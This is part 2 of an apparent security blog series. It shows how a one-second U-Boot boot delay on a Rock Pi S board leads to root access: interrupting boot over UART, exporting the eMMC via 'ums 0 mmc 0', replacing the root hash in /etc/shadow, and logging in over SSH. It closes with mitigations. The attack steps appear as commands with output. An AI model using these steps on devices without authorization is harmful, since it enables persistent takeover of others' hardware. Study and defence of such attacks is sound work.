Part 2 of 2

From 1-Second Window to Persistent Root Shell

August 2026 • ~6 min read • Easy Complexity

How a seemingly innocent 1-second boot delay escalates into complete system compromise with persistent remote root access via SSH.

📚 This is Part 2 of the U-Boot exploitation series.
If you haven't read Part 1, start here: Glitching U-Boot Bootloader to Gain Shell

The Vulnerability: Small Window, Massive Impact

In the previous article, we demonstrated how to interrupt the U-Boot bootloader and gain shell access. But here's where things get interesting: that 1-second boot delay—often dismissed as a minor security concern—becomes the gateway to complete, persistent system compromise.

⚠️ Key Insight: Vulnerability Amplification

A 1-second physical access window transforms into:

Persistent credential compromise
Remote root access over SSH
No physical access required after initial exploitation
Complete administrative control

This demonstrates how embedded systems often have single points of failure with cascading security implications.

Attack Complexity Analysis

Complexity: Easy

Requirements:

Physical access (one-time, ~5 minutes)
USB-UART cable ($5)
Network access (for persistent access phase)

Attack Vector: Physical → Network (hybrid)

Complete Attack Chain

Here's the full exploitation sequence from that 1-second window to persistent root shell:

┌─────────────────────────────────────────────────────────────────┐
│                    ATTACK TIMELINE                              │
└─────────────────────────────────────────────────────────────────┘

[Physical Access Phase - 5 minutes]
   ↓
1. UART Connection → Interrupt Boot (1-second window)
   ↓
2. U-Boot Shell Access → Execute: ums 0 mmc 0
   ↓
3. Filesystem Exposed → Mount on Host PC
   ↓
4. Credential Persistence → Modify /etc/shadow
   ↓
5. Unmount & Reboot → Device starts normally

[Network Access Phase - Persistent]
   ↓
6. Device connects to network → SSH service running
   ↓
7. Remote SSH login → Full root access
   ↓
8. Complete System Control → No physical access needed

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
   Physical Access Required    │    Remote Access (Persistent)
        (One-time)              │         (Ongoing)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Attack Sequence Diagram

Here's a visual representation of the complete attack flow:

sequenceDiagram participant UART as UART Connection participant UBoot as U-Boot Bootloader participant Host as Host PC participant FS as Filesystem (MMC) participant Device as Target Device UART->>UBoot: Interrupt boot process UBoot->>Host: Enable UMS mode (ums 0 mmc 0) Host->>FS: Mount filesystem Host->>FS: Edit /etc/shadow
Replace root hash FS->>UBoot: Filesystem modified UBoot->>Device: Boot Linux OS Device->>Device: Connect to Internet Device->>Device: Expose SSH port (22) Host->>Device: SSH login as root
(using new password)

Detailed Exploitation Steps

Step 1: Establish UART Connection

Connect to the device's serial console:

sudo minicom -D /dev/ttyUSB0 -b 1500000

Step 2: Interrupt Boot Process

Power on the device and press Ctrl+C during the 1-second boot delay:

DDR Version V1.26
REGFB: 0x00000032, 0x00000032
In
589MHz
DDR3
 Col=10 Bank=8 Row=15 Size=512MB
msch:1
Returning to boot ROM...
INFO:    Preloader serial: 0
NOTICE:  BL31: v1.3(release):3a579d3
NOTICE:  BL31: Built : 09:09:17, Jan 29 2019
INFO:    Lastlog: last=0x100000, realtime=0x102000, size=0x2000
INFO:    ARM GICv2 driver initialized
INFO:    Using opteed sec cpu_context!
INFO:    boot cpu mask: 1
INFO:    plat_rockchip_pmu_init: pd status 0xe b
INFO:    BL31: Initializing runtime services
WARNING: No OPTEE provided by BL2 boot loader
U-Boot: enable slient console
=> 
=> 
=> 
=> ums 0 mmc 0
UMS: LUN 0, dev 0, hwpart 0, sector 0x0, count 0x3b72400
\

💡 What Just Happened?

The ums 0 mmc 0 command enables USB Mass Storage mode, exposing the device's eMMC/MMC storage as a USB drive to your host PC. This gives you direct filesystem access—no authentication required.

Step 3: Mount and Access Filesystem

Once the device exposes its storage via USB, mount it on your host PC:

$ ls
bin  boot  create_manual_sudo_user.sh  data  dev  etc  home  lib  lost+found  media  mnt  proc  run  sbin  sys  tmp  usr  var

$ sudo cat etc/shadow | grep 'root'
root:$6$cRRFY7i2fIXRxTO6$voIm0BXM.yXXGTzDnK0sCbYpr.Ngqkdpges/euaYDrfpquUo/9klmU8tBwaHC9Ga7SpAslZX9a.JNarjLcqU11:15069:0:99999:7:::

Step 4: Establish Credential Persistence

Generate a new password hash and replace the root password in /etc/shadow:

# Generate new password hash (using password: 1234)
$ openssl passwd -6
Password:
Verifying - Password:
$6$iQGJKjftQGto9tAA$CEmtyO.BIAbFaTxFC39D6dkePdNKc9THL/taWWb0OYSjC7CeKdrsoqRN8XVMetZ4OX6XMetsbYFYOz0yQhKi6/

# Modify /etc/shadow
$ sudo nano etc/shadow

# Verify modification
$ sudo cat etc/shadow | grep 'root'
root:$6$iQGJKjftQGto9tAA$CEmtyO.BIAbFaTxFC39D6dkePdNKc9THL/taWWb0OYSjC7CeKdrsoqRN8XVMetZ4OX6XMetsbYFYOz0yQhKi6/:15069:0:99999:7:::

🔐 Critical Security Implication

By modifying /etc/shadow, we've established persistent credential compromise. Unlike memory-based attacks that reset on reboot, this modification survives restarts and provides ongoing access.

Step 5: Unmount and Reboot

After modifying the credentials, exit USB Mass Storage mode and boot the device:

=> boot
starting USB...
USB0:   Core Release: 3.10a
USB1:   USB EHCI 1.00
scanning bus 0 for devices... 1 USB Device(s) found
scanning bus 1 for devices... 1 USB Device(s) found
       scanning usb for storage devices... 0 Storage Device(s) found

Device 0: unknown device
switch to partitions #0, OK
mmc0 is current device
Scanning mmc 0:1...
Found U-Boot script /boot.scr
reading /boot.scr
2313 bytes read in 3 ms (752.9 KiB/s)
## Executing script at 00500000
Boot script loaded from mmc 0
reading /uEnv.txt
227 bytes read in 2 ms (110.4 KiB/s)
reading /Image
11974664 bytes read in 510 ms (22.4 MiB/s)
reading /rk3308-rock-pi-s.dtb
63554 bytes read in 6 ms (10.1 MiB/s)
reading /overlays/rk3308-i2c1.dtbo
262 bytes read in 3 ms (85 KiB/s)
Applying kernel provided DT overlay rk3308-i2c1.dtbo
reading /overlays/rk3308-uart1.dtbo
624 bytes read in 3 ms (203.1 KiB/s)
Applying kernel provided DT overlay rk3308-uart1.dtbo
...
Starting kernel ...

WARNING: suspend_mode_handler: Not support call: 0x4

Step 6: Remote SSH Access - The Payoff

Now for the critical moment: the device boots normally, connects to the network, and we can access it remotely via SSH using our modified credentials:

niraj@Ubuntu:~$ ssh [email protected]
[email protected]'s password:
root@rockpi-s-rk3308:~# uname -a
Linux rockpi-s-rk3308 4.4.143 #1 SMP PREEMPT Wed Jul 29 02:48:36 UTC 2020 aarch64 aarch64 aarch64 GNU/Linux
root@rockpi-s-rk3308:~# id
uid=0(root) gid=0(root) groups=0(root)
root@rockpi-s-rk3308:~# whoami
root
root@rockpi-s-rk3308:~# groups
root
root@rockpi-s-rk3308:~#

🎯 Full System Compromise Achieved

We now have:

✓ Root shell access with UID 0
✓ Remote access via SSH - no physical access needed
✓ Persistent credentials - survives reboots
✓ Complete system control - all files, processes, configurations accessible

All of this from a 1-second boot delay vulnerability.

Impact Analysis: Why This Matters

This attack demonstrates a critical security principle in embedded systems: single points of failure can have cascading consequences.

Immediate Impact

Complete administrative control over the device
Access to all system files, credentials, and configurations
Ability to modify firmware, install backdoors, or extract sensitive data
Persistent access that survives reboots and system updates

Scope Limitation

The impact is localized to the single compromised device. No lateral movement to other systems was observed. However, this demonstrates the feasibility of full device takeover given brief physical access.

⚠️ Real-World Scenarios

Consider these attack scenarios where 5 minutes of physical access is realistic:

IoT devices in public spaces (security cameras, sensors)
Industrial control systems in facilities
Network equipment in offices or data centers
Medical devices in healthcare facilities
Supply chain interdiction (device tampering before deployment)

Why Small Vulnerabilities Have Big Impact

This case study illustrates several critical security concepts:

1. Attack Surface Amplification

A 1-second timing window (bootdelay) → Full filesystem access → Persistent root access

2. Trust Boundary Violation

The bootloader trusts anyone with serial console access. There's no authentication between hardware access and system modification.

3. Defense-in-Depth Failure

A single compromised layer (bootloader) bypasses all subsequent security mechanisms (OS-level authentication, file permissions, etc.).

4. Persistence Multiplier

Brief physical access translates to indefinite remote access. The attacker's investment (5 minutes) yields ongoing returns.

Mitigation Strategies

Here's how vendors can address this vulnerability chain:

1. Disable UART Access in Production

# Disable or restrict UART debug pins in hardware
# Remove debug headers or use secure debug features

Trade-off: Makes device recovery difficult if firmware becomes corrupted.

2. Restrict Bootloader Functionality

# In U-Boot configuration, disable dangerous commands
# Remove support for: ums, mmc write, nand write, etc.
CONFIG_CMD_USB_MASS_STORAGE=n

Prevents filesystem export even if bootloader access is gained.

3. Enable Filesystem Encryption

# Use dm-crypt or similar encryption for root filesystem
# Requires runtime decryption with keys in secure storage

Ensures offline credential modifications are ineffective.

💡 Implementation Guide: For a complete guide on implementing hardware-bound LUKS encryption in embedded Linux systems, see: Hardware-Bound LUKS Storage Encryption

This approach binds encryption keys to the device's hardware (CPU ID), preventing the exact attack demonstrated in this article.

4. Implement Secure Boot

Verify bootloader authenticity with hardware root of trust
Use signed bootloader images
Implement anti-rollback protection

5. Add Bootloader Authentication

# Require password for U-Boot console access
setenv bootdelay_passwd "secure_password"

Note: Password can potentially be extracted from U-Boot environment, but raises the bar.

⚖️ The Security vs. Recoverability Trade-off

Why don't vendors disable bootdelay entirely? Setting bootdelay=0 or disabling UART access can brick devices if:

Kernel becomes corrupted
Root filesystem has critical errors
Boot parameters need adjustment

The bootloader's debug features serve a legitimate recovery function. The challenge is balancing security with maintainability.

Key Takeaways

Physical access = game over - Once an attacker has physical access, traditional security boundaries often collapse.
Timing windows matter - Even a 1-second vulnerability window is sufficient for exploitation.
Embedded systems lack defense-in-depth - Bootloader compromise often bypasses all higher-level protections.
Temporary access becomes permanent - Brief physical access enables persistent remote compromise.
Trust boundaries must be explicit - Hardware access should not implicitly grant trust.

Conclusion

This demonstration shows how embedded systems often have fragile security models. A seemingly minor design decision—leaving a 1-second boot delay for debugging—creates a complete attack path from physical access to persistent remote compromise.

The vulnerability isn't just the boot delay itself, but the cascading failure of trust boundaries:

Hardware access → Bootloader access (no authentication)
Bootloader access → Filesystem access (no authorization)
Filesystem access → Credential persistence (no integrity protection)
Credential persistence → Remote root access (no detection)

Understanding these attack chains is crucial for secure embedded system design and effective penetration testing.

📖 Read More in This Series:
← Previous: Glitching U-Boot Bootloader to Gain Shell